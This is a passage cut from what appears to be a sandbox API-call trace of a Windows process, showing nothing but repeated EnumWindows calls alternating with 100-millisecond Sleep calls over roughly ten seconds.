(lpEnumFunc=0x1e83dd0, lParam=0x610000) [0128.894] Sleep (dwMilliseconds=0x64) [0129.018] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0129.018] Sleep (dwMilliseconds=0x64) [0129.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0129.130] Sleep (dwMilliseconds=0x64) [0129.237] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0129.239] Sleep (dwMilliseconds=0x64) [0129.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0129.379] Sleep (dwMilliseconds=0x64) [0129.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0129.488] Sleep (dwMilliseconds=0x64) [0129.629] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0129.629] Sleep (dwMilliseconds=0x64) [0129.786] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0129.787] Sleep (dwMilliseconds=0x64) [0129.895] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0129.895] Sleep (dwMilliseconds=0x64) [0130.036] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.037] Sleep (dwMilliseconds=0x64) [0130.192] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.192] Sleep (dwMilliseconds=0x64) [0130.230] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.230] Sleep (dwMilliseconds=0x64) [0130.239] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.239] Sleep (dwMilliseconds=0x64) [0130.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.254] Sleep (dwMilliseconds=0x64) [0130.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.270] Sleep (dwMilliseconds=0x64) [0130.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.285] Sleep (dwMilliseconds=0x64) [0130.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.301] Sleep (dwMilliseconds=0x64) [0130.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.316] Sleep (dwMilliseconds=0x64) [0130.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.380] Sleep (dwMilliseconds=0x64) [0130.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.426] Sleep (dwMilliseconds=0x64) [0130.443] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.443] Sleep (dwMilliseconds=0x64) [0130.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.457] Sleep (dwMilliseconds=0x64) [0130.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.472] Sleep (dwMilliseconds=0x64) [0130.489] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.489] Sleep (dwMilliseconds=0x64) [0130.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.504] Sleep (dwMilliseconds=0x64) [0130.540] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.541] Sleep (dwMilliseconds=0x64) [0130.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.582] Sleep (dwMilliseconds=0x64) [0130.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.629] Sleep (dwMilliseconds=0x64) [0130.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.644] Sleep (dwMilliseconds=0x64) [0130.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.660] Sleep (dwMilliseconds=0x64) [0130.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.675] Sleep (dwMilliseconds=0x64) [0130.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.691] Sleep (dwMilliseconds=0x64) [0130.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.707] Sleep (dwMilliseconds=0x64) [0130.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.722] Sleep (dwMilliseconds=0x64) [0130.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.785] Sleep (dwMilliseconds=0x64) [0130.814] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.815] Sleep (dwMilliseconds=0x64) [0130.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.832] Sleep (dwMilliseconds=0x64) [0130.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.847] Sleep (dwMilliseconds=0x64) [0130.862] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.863] Sleep (dwMilliseconds=0x64) [0130.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.879] Sleep (dwMilliseconds=0x64) [0130.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.894] Sleep (dwMilliseconds=0x64) [0130.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0130.957] Sleep (dwMilliseconds=0x64) [0131.013] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.014] Sleep (dwMilliseconds=0x64) [0131.085] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.085] Sleep (dwMilliseconds=0x64) [0131.108] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.109] Sleep (dwMilliseconds=0x64) [0131.112] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.113] Sleep (dwMilliseconds=0x64) [0131.128] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.129] Sleep (dwMilliseconds=0x64) [0131.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.144] Sleep (dwMilliseconds=0x64) [0131.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.160] Sleep (dwMilliseconds=0x64) [0131.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.176] Sleep (dwMilliseconds=0x64) [0131.192] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.192] Sleep (dwMilliseconds=0x64) [0131.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.207] Sleep (dwMilliseconds=0x64) [0131.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.222] Sleep (dwMilliseconds=0x64) [0131.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.270] Sleep (dwMilliseconds=0x64) [0131.294] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.295] Sleep (dwMilliseconds=0x64) [0131.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.300] Sleep (dwMilliseconds=0x64) [0131.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.317] Sleep (dwMilliseconds=0x64) [0131.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.332] Sleep (dwMilliseconds=0x64) [0131.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.347] Sleep (dwMilliseconds=0x64) [0131.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.363] Sleep (dwMilliseconds=0x64) [0131.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.379] Sleep (dwMilliseconds=0x64) [0131.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.395] Sleep (dwMilliseconds=0x64) [0131.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.410] Sleep (dwMilliseconds=0x64) [0131.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.457] Sleep (dwMilliseconds=0x64) [0131.490] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.490] Sleep (dwMilliseconds=0x64) [0131.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.504] Sleep (dwMilliseconds=0x64) [0131.539] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.540] Sleep (dwMilliseconds=0x64) [0131.550] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.551] Sleep (dwMilliseconds=0x64) [0131.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.566] Sleep (dwMilliseconds=0x64) [0131.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.582] Sleep (dwMilliseconds=0x64) [0131.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.644] Sleep (dwMilliseconds=0x64) [0131.680] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.681] Sleep (dwMilliseconds=0x64) [0131.700] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.701] Sleep (dwMilliseconds=0x64) [0131.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.707] Sleep (dwMilliseconds=0x64) [0131.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.722] Sleep (dwMilliseconds=0x64) [0131.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.739] Sleep (dwMilliseconds=0x64) [0131.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.754] Sleep (dwMilliseconds=0x64) [0131.770] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.770] Sleep (dwMilliseconds=0x64) [0131.832] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.832] Sleep (dwMilliseconds=0x64) [0131.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.879] Sleep (dwMilliseconds=0x64) [0131.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.894] Sleep (dwMilliseconds=0x64) [0131.909] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.910] Sleep (dwMilliseconds=0x64) [0131.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.926] Sleep (dwMilliseconds=0x64) [0131.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.941] Sleep (dwMilliseconds=0x64) [0131.957] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.957] Sleep (dwMilliseconds=0x64) [0131.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0131.975] Sleep (dwMilliseconds=0x64) [0132.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.035] Sleep (dwMilliseconds=0x64) [0132.080] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.080] Sleep (dwMilliseconds=0x64) [0132.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.144] Sleep (dwMilliseconds=0x64) [0132.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.160] Sleep (dwMilliseconds=0x64) [0132.176] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.177] Sleep (dwMilliseconds=0x64) [0132.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.238] Sleep (dwMilliseconds=0x64) [0132.286] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.286] Sleep (dwMilliseconds=0x64) [0132.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.300] Sleep (dwMilliseconds=0x64) [0132.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.316] Sleep (dwMilliseconds=0x64) [0132.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.332] Sleep (dwMilliseconds=0x64) [0132.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.348] Sleep (dwMilliseconds=0x64) [0132.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.363] Sleep (dwMilliseconds=0x64) [0132.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.379] Sleep (dwMilliseconds=0x64) [0132.448] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.448] Sleep (dwMilliseconds=0x64) [0132.480] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.480] Sleep (dwMilliseconds=0x64) [0132.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.488] Sleep (dwMilliseconds=0x64) [0132.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.504] Sleep (dwMilliseconds=0x64) [0132.538] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.538] Sleep (dwMilliseconds=0x64) [0132.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.551] Sleep (dwMilliseconds=0x64) [0132.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.567] Sleep (dwMilliseconds=0x64) [0132.629] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.629] Sleep (dwMilliseconds=0x64) [0132.673] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.673] Sleep (dwMilliseconds=0x64) [0132.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.675] Sleep (dwMilliseconds=0x64) [0132.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.693] Sleep (dwMilliseconds=0x64) [0132.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.707] Sleep (dwMilliseconds=0x64) [0132.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.722] Sleep (dwMilliseconds=0x64) [0132.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.738] Sleep (dwMilliseconds=0x64) [0132.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.754] Sleep (dwMilliseconds=0x64) [0132.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.770] Sleep (dwMilliseconds=0x64) [0132.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.832] Sleep (dwMilliseconds=0x64) [0132.860] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.860] Sleep (dwMilliseconds=0x64) [0132.862] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.862] Sleep (dwMilliseconds=0x64) [0132.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.879] Sleep (dwMilliseconds=0x64) [0132.896] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.896] Sleep (dwMilliseconds=0x64) [0132.909] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.910] Sleep (dwMilliseconds=0x64) [0132.927] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.927] Sleep (dwMilliseconds=0x64) [0132.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.942] Sleep (dwMilliseconds=0x64) [0132.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0132.957] Sleep (dwMilliseconds=0x64) [0133.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.019] Sleep (dwMilliseconds=0x64) [0133.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.067] Sleep (dwMilliseconds=0x64) [0133.083] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.083] Sleep (dwMilliseconds=0x64) [0133.097] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.098] Sleep (dwMilliseconds=0x64) [0133.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.114] Sleep (dwMilliseconds=0x64) [0133.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.130] Sleep (dwMilliseconds=0x64) [0133.145] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.145] Sleep (dwMilliseconds=0x64) [0133.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.161] Sleep (dwMilliseconds=0x64) [0133.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.222] Sleep (dwMilliseconds=0x64) [0133.258] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.258] Sleep (dwMilliseconds=0x64) [0133.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.269] Sleep (dwMilliseconds=0x64) [0133.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.285] Sleep (dwMilliseconds=0x64) [0133.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.301] Sleep (dwMilliseconds=0x64) [0133.320] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.321] Sleep (dwMilliseconds=0x64) [0133.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.332] Sleep (dwMilliseconds=0x64) [0133.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.347] Sleep (dwMilliseconds=0x64) [0133.409] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.410] Sleep (dwMilliseconds=0x64) [0133.439] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.462] Sleep (dwMilliseconds=0x64) [0133.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.473] Sleep (dwMilliseconds=0x64) [0133.502] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.503] Sleep (dwMilliseconds=0x64) [0133.533] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.534] Sleep (dwMilliseconds=0x64) [0133.597] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.597] Sleep (dwMilliseconds=0x64) [0133.627] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.627] Sleep (dwMilliseconds=0x64) [0133.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.644] Sleep (dwMilliseconds=0x64) [0133.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.660] Sleep (dwMilliseconds=0x64) [0133.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.675] Sleep (dwMilliseconds=0x64) [0133.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.692] Sleep (dwMilliseconds=0x64) [0133.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.707] Sleep (dwMilliseconds=0x64) [0133.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.722] Sleep (dwMilliseconds=0x64) [0133.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.785] Sleep (dwMilliseconds=0x64) [0133.818] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.818] Sleep (dwMilliseconds=0x64) [0133.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.832] Sleep (dwMilliseconds=0x64) [0133.878] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.878] Sleep (dwMilliseconds=0x64) [0133.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0133.926] Sleep (dwMilliseconds=0x64) [0134.824] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0134.824] Sleep (dwMilliseconds=0x64) [0134.924] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0134.924] Sleep (dwMilliseconds=0x64) [0135.359] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0135.359] Sleep (dwMilliseconds=0x64) [0135.409] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0135.410] Sleep (dwMilliseconds=0x64) [0135.636] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0135.636] Sleep (dwMilliseconds=0x64) [0136.487] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0136.488] Sleep (dwMilliseconds=0x64) [0136.629] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0136.630] Sleep (dwMilliseconds=0x64) [0136.708] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0136.709] Sleep (dwMilliseconds=0x64) [0136.798] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0136.798] Sleep (dwMilliseconds=0x64) [0136.891] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0136.891] Sleep (dwMilliseconds=0x64) [0136.985] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0136.985] Sleep (dwMilliseconds=0x64) [0136.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0136.988] Sleep (dwMilliseconds=0x64) [0137.011] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.011] Sleep (dwMilliseconds=0x64) [0137.024] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.024] Sleep (dwMilliseconds=0x64) [0137.057] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.057] Sleep (dwMilliseconds=0x64) [0137.152] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.152] Sleep (dwMilliseconds=0x64) [0137.244] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.244] Sleep (dwMilliseconds=0x64) [0137.284] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.285] Sleep (dwMilliseconds=0x64) [0137.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.300] Sleep (dwMilliseconds=0x64) [0137.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.316] Sleep (dwMilliseconds=0x64) [0137.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.332] Sleep (dwMilliseconds=0x64) [0137.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.347] Sleep (dwMilliseconds=0x64) [0137.458] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.459] Sleep (dwMilliseconds=0x64) [0137.547] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.548] Sleep (dwMilliseconds=0x64) [0137.606] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.607] Sleep (dwMilliseconds=0x64) [0137.619] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.619] Sleep (dwMilliseconds=0x64) [0137.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.628] Sleep (dwMilliseconds=0x64) [0137.661] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.663] Sleep (dwMilliseconds=0x64) [0137.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.675] Sleep (dwMilliseconds=0x64) [0137.694] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.694] Sleep (dwMilliseconds=0x64) [0137.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.707] Sleep (dwMilliseconds=0x64) [0137.770] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.770] Sleep (dwMilliseconds=0x64) [0137.837] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.838] Sleep (dwMilliseconds=0x64) [0137.870] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.871] Sleep (dwMilliseconds=0x64) [0137.878] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.879] Sleep (dwMilliseconds=0x64) [0137.896] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.896] Sleep (dwMilliseconds=0x64) [0137.918] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.918] Sleep (dwMilliseconds=0x64) [0137.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.925] Sleep (dwMilliseconds=0x64) [0137.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0137.941] Sleep (dwMilliseconds=0x64) [0138.020] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.021] Sleep (dwMilliseconds=0x64) [0138.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.113] Sleep (dwMilliseconds=0x64) [0138.153] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.153] Sleep (dwMilliseconds=0x64) [0138.159] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.159] Sleep (dwMilliseconds=0x64) [0138.180] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.181] Sleep (dwMilliseconds=0x64) [0138.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.191] Sleep (dwMilliseconds=0x64) [0138.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.208] Sleep (dwMilliseconds=0x64) [0138.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.223] Sleep (dwMilliseconds=0x64) [0138.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.238] Sleep (dwMilliseconds=0x64) [0138.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.301] Sleep (dwMilliseconds=0x64) [0138.329] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.329] Sleep (dwMilliseconds=0x64) [0138.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.332] Sleep (dwMilliseconds=0x64) [0138.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.348] Sleep (dwMilliseconds=0x64) [0138.362] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.363] Sleep (dwMilliseconds=0x64) [0138.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.380] Sleep (dwMilliseconds=0x64) [0138.395] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.395] Sleep (dwMilliseconds=0x64) [0138.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.410] Sleep (dwMilliseconds=0x64) [0138.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.425] Sleep (dwMilliseconds=0x64) [0138.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.503] Sleep (dwMilliseconds=0x64) [0138.542] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.542] Sleep (dwMilliseconds=0x64) [0138.550] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.551] Sleep (dwMilliseconds=0x64) [0138.569] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.569] Sleep (dwMilliseconds=0x64) [0138.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.582] Sleep (dwMilliseconds=0x64) [0138.597] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.597] Sleep (dwMilliseconds=0x64) [0138.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.613] Sleep (dwMilliseconds=0x64) [0138.633] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.633] Sleep (dwMilliseconds=0x64) [0138.715] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.717] Sleep (dwMilliseconds=0x64) [0138.755] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.755] Sleep (dwMilliseconds=0x64) [0138.801] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.802] Sleep (dwMilliseconds=0x64) [0138.824] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.824] Sleep (dwMilliseconds=0x64) [0138.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.831] Sleep (dwMilliseconds=0x64) [0138.861] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.861] Sleep (dwMilliseconds=0x64) [0138.880] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.880] Sleep (dwMilliseconds=0x64) [0138.906] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.906] Sleep (dwMilliseconds=0x64) [0138.915] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.916] Sleep (dwMilliseconds=0x64) [0138.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.926] Sleep (dwMilliseconds=0x64) [0138.978] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0138.979] Sleep (dwMilliseconds=0x64) [0139.011] EnumWindows (lpEnumFunc=0x1e83dd0, 